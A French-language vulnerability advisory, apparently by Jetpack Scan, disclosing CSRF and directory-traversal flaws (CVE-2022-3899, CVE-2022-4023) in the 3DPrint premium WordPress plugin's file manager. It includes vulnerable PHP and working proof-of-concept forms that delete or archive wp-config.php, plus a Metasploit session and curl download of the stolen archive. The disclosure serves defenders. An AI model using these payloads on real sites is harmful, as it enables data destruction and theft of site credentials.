Vulnérabilités trouvées dans le plugin 3DPrint Premium

Publié: 2022-12-13

La version premium du plugin WordPress 3DPrint est vulnérable à la falsification de requête intersite (CSRF) et aux attaques de traversée de répertoire lorsque la fonctionnalité du gestionnaire de fichiers est activée. Ces vulnérabilités permettent à un attaquant de supprimer ou d'accéder à des fichiers et répertoires arbitraires sur les sites affectés, y compris des fichiers sensibles tels que les fichiers de configuration du site, ce qui pourrait à nouveau conduire à une prise de contrôle complète du site.

Récemment, en examinant certains faux positifs potentiels signalés par nos signatures expérimentales, nous avons découvert un code qui nous a intrigués dans le plugin premium 3DPrint.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

Cet extrait a été trouvé dans le module PHP Tiny File Manager situé dans le répertoire d'inclusion du plugin, mais n'est pas trouvé dans le projet Tiny File Manager d'origine. Il semble être injecté avec l'intention de l'intégrer aux contrôles d'accès basés sur les rôles de WordPress.

Le chargement de fichiers de code WordPress comme celui-ci dans un module non lié est généralement un signe que quelque chose ne va pas, nous avons donc décidé d'enquêter plus avant.

Le lecteur attentif remarquera que l'accès au module est limité aux utilisateurs ayant le rôle d'administrateur, mais qu'il n'y a pas de contrôles nonce. Ce serait bien si Tiny File Manager avait sa propre protection CSRF, mais comme ce n'était pas le cas, il semble que ce code puisse être sensible à une attaque CSRF. (Tiny File Manager a depuis ajouté la protection CSRF après que nous les ayons informés du problème. La version 2.5.0 et les versions ultérieures devraient être beaucoup plus sûres à utiliser !)

Un facteur de complication est que Tiny File Manager n'est pas inclus dans le package lors de l'installation de 3DPrint premium mais est téléchargé à la demande lorsqu'il est activé. La version téléchargée au moment de la rédaction est la version 2.4.4, mais elle a été fortement modifiée par les développeurs de 3DPrint et est téléchargée depuis leur domaine, et non directement depuis les référentiels Tiny File Manager.

La plupart des modifications apportées suppriment les fonctionnalités non utilisées par le plugin, ainsi que quelques autres modifications, comme le codage en dur du chemin, limitant ce à quoi le gestionnaire de fichiers devrait pouvoir accéder. De plus, les fonctionnalités d'authentification et d'autorisation intégrées à Tiny File Manager ont été désactivées et remplacées par l'intégration ci-dessus avec le système de rôles WordPress.

Nous avons découvert quelques vulnérabilités où la combinaison des contrôles d'accès modifiés et l'inclusion du Tiny File Manager dans le plugin 3DPrint devient exploitable pour un attaquant extérieur. Cela inclut la suppression ou le téléchargement de fichiers sensibles, permettant potentiellement une prise de contrôle complète du site. Ces vulnérabilités exploitent le manque de vérifications nonce dans les contrôles d'accès modifiés, ainsi que les vulnérabilités de traversée de répertoires dans Tiny File Manager lui-même.

Nous avons essayé de contacter le fournisseur du plugin 3DPrint et du projet Tiny File Manager. Parmi ceux-ci, seuls les développeurs du projet Tiny File Manager nous ont répondu et ont corrigé les problèmes que nous leur avons soumis.

Découvrez notre nouveau WAF dans le cadre de Jetpack Scan, qui protégera contre ces attaques dès le départ. Il est actuellement en version bêta. Jetpack Scan détectera également le composant vulnérable et vous aidera à le supprimer.

Comme le module Tiny File Manager est téléchargé et installé à la demande, il n'y a pas nécessairement de correspondance entre la version du plugin et la version de Tiny File Manager utilisée. Cependant, une fois installé, il ne semble pas y avoir de moyen simple de mettre à jour le module Tiny File Manager à part le supprimer manuellement et le réactiver.

Pour cette raison, nous considérons que toutes les versions de 3DPrint sont vulnérables aux vulnérabilités ci-dessous si le gestionnaire de fichiers a été activé.

Les vulnérabilités

1. CSRF entraînant la suppression arbitraire de fichiers/répertoires

  • Plug-in : 3DPrint
  • Module d'extension : 3dprint
  • URI du plugin : http://www.wp3dprinting.com/2015/07/29/changelog/
  • Versions vulnérables : toutes
  • Version fixe : aucune
  • Score CVSS : 8,2 (élevé, CVSS : 3,1/AV : N/AC : L/PR : N/UI : R/S : C/C : N/I : H/A : L)
  • CVE : CVE-2022-3899

La fonctionnalité de suppression en masse de la version incluse de Tiny File Manager (version 2.4.4) n'est pas correctement protégée contre la traversée de répertoires et manque également de protections CSRF. Cela permet à un attaquant de tromper un administrateur en supprimant plusieurs fichiers ou même des répertoires sur le serveur de manière récursive.

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

Cela peut être exploité en passant les paramètres group et delete POST à ​​n'importe quelle valeur, et en passant un tableau de fichiers/répertoires à supprimer dans le paramètre file . La variable $new_path est une simple concaténation de FM_ROOT_PATH et du nom de fichier transmis, transmis à la fonction de suppression récursive fm_rdelete() . Comme fm_rdelete() ne fait aucune validation des noms de chemin qui lui sont donnés, cela rend ce code vulnérable à une attaque par traversée de répertoire.

Voici un exemple de preuve de concept :

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

Tous les chemins sont relatifs au répertoire wp-content/uploads/p3d/ sur le serveur. Lorsqu'un administrateur connecté clique sur le bouton pour devenir riche, ses téléchargements à partir de 2020 seront supprimés avec le fichier wp-config.php des sites.

2. CSRF conduisant à des téléchargements arbitraires

  • Plug-in : 3DPrint
  • Module d'extension : 3dprint
  • URI du plugin : http://www.wp3dprinting.com/2015/07/29/changelog/
  • Versions vulnérables : toutes
  • Version fixe : aucune
  • Score CVSS : 7,4 (élevé, CVSS : 3,1/AV : N/AC : L/PR : N/UI : R/S : C/C : H/I : N/A : N)
  • CVE : CVE-2022-4023

La fonctionnalité de la version incluse de Tiny File Manager (version 2.4.4) pour télécharger une archive zip ou tar des fichiers sélectionnés n'est pas protégée contre la traversée de répertoires et manque de protections CSRF. Cela permet à un attaquant de tromper un administrateur pour qu'il crée une archive zip ou tar avec des fichiers et des répertoires arbitraires du site, y compris des fichiers de configuration ou d'autres contenus sensibles.

L'archive est placée dans le répertoire de téléchargement normal de 3DPring, wp-content/uploads/p3d/ . Le nom du fichier n'est que partiellement contrôlable par l'attaquant, mais il est suffisamment prévisible pour qu'il soit relativement facile de forcer brutalement. S'ils savent à quelle heure la demande falsifiée a été envoyée, il devrait également être trivial de faire une supposition éclairée.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

En envoyant une demande de publication avec le group et les variables zip ou tar définies sur n'importe quelle valeur créera une archive avec les fichiers spécifiés dans le paramètre file . La date et l'heure actuelles seront ajoutées au nom du fichier pour l'archive, qui aura le même nom de base que le fichier archivé, ou "archive" si plusieurs fichiers sont archivés ensemble. L'archive sera créée dans le répertoire de téléchargement de 3DPrint, mais les noms de chemin des fichiers ne sont pas nettoyés et peuvent contenir des chemins en dehors de ce répertoire, ce qui le rend vulnérable aux attaques de traversée de répertoire.

Pour exploiter cette vulnérabilité, nous avons créé un module de charge utile simple pour Metasploit qui sert de formulaire d'auto-soumission avec la charge utile malveillante au site vulnérable. La charge utile de preuve de concept envoyée était :

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

Comme le module Metasploit enregistrait l'horodatage de l'envoi du formulaire, cela permettait de deviner facilement le nom de fichier correct pour l'archive créée.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

Remarquez comment nous pouvons déduire le nom de fichier de l'archive générée à partir de l'horodatage de la requête. Dans ce cas, le conteneur de serveur exécute un fuseau horaire derrière le fuseau horaire local.

Recommandations

Comme la version du gestionnaire de fichiers installé est indépendante de la version du plugin installé, nous ne pouvons pas recommander une version fixe du plugin.

Nous n'avons pas non plus trouvé de moyen simple de mettre à jour le module du gestionnaire de fichiers si une nouvelle version est publiée à une date ultérieure.

Pour cette raison, nous considérons toutes les versions du plugin premium 3DPrint comme vulnérables si le composant du gestionnaire de fichiers est activé.

Notre recommandation est de s'assurer que le module du gestionnaire de fichiers est désactivé et que le fichier est supprimé du site.

Le plus simple est de supprimer le fichier wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php s'il existe.

conclusion

Toutes les versions du plugin premium 3DPrint sont vulnérables aux attaques CSRF et de traversée de répertoire si le module de gestion de fichiers est activé sur le site. Cela n'affecte pas la version gratuite du plugin téléchargée depuis le référentiel de plugins WordPress.org.

Chez Jetpack, nous travaillons dur pour nous assurer que vos sites Web sont protégés contre ces types de vulnérabilités. Nous vous recommandons d'avoir un plan de sécurité pour votre site qui inclut l'analyse et la sauvegarde des fichiers malveillants. Le pack Jetpack Security est une excellente option de sécurité WordPress pour garantir la sécurité de votre site et de vos visiteurs. Ce produit comprend une analyse des logiciels malveillants en temps réel, des sauvegardes de sites, une protection contre les spams de commentaires et de formulaires d'Akismet, une protection contre les attaques par force brute, etc.

Crédits

Recherche par Harald Eilertsen, avec commentaires et corrections fournis par Benedict Singer, Rob Pugh, Jen Swisher et l'équipe Jetpack Scan.

Chronologie

  • 2022-09-08 : Nous avons été informés de la découverte et avons commencé à enquêter
  • 2022-10-25 : fournisseur contacté pour la première fois
  • 01/11/2022 : Le fournisseur a été contacté une deuxième fois via un canal différent
  • 2022-11-08 : Vulnérabilité de suppression massive divulguée (CVE-2022-3899)
  • 15/11/2022 : les développeurs de Tiny File Manager ont été contactés au sujet du manque de protection CSRF et des vulnérabilités de traversée de répertoires.
  • 2022-11-19 : Publication de Tiny File Manager 2.5.0, corrigeant les problèmes CSRF mais pas les problèmes de traversée de répertoires.
  • 2022-12-13 : Divulgation publique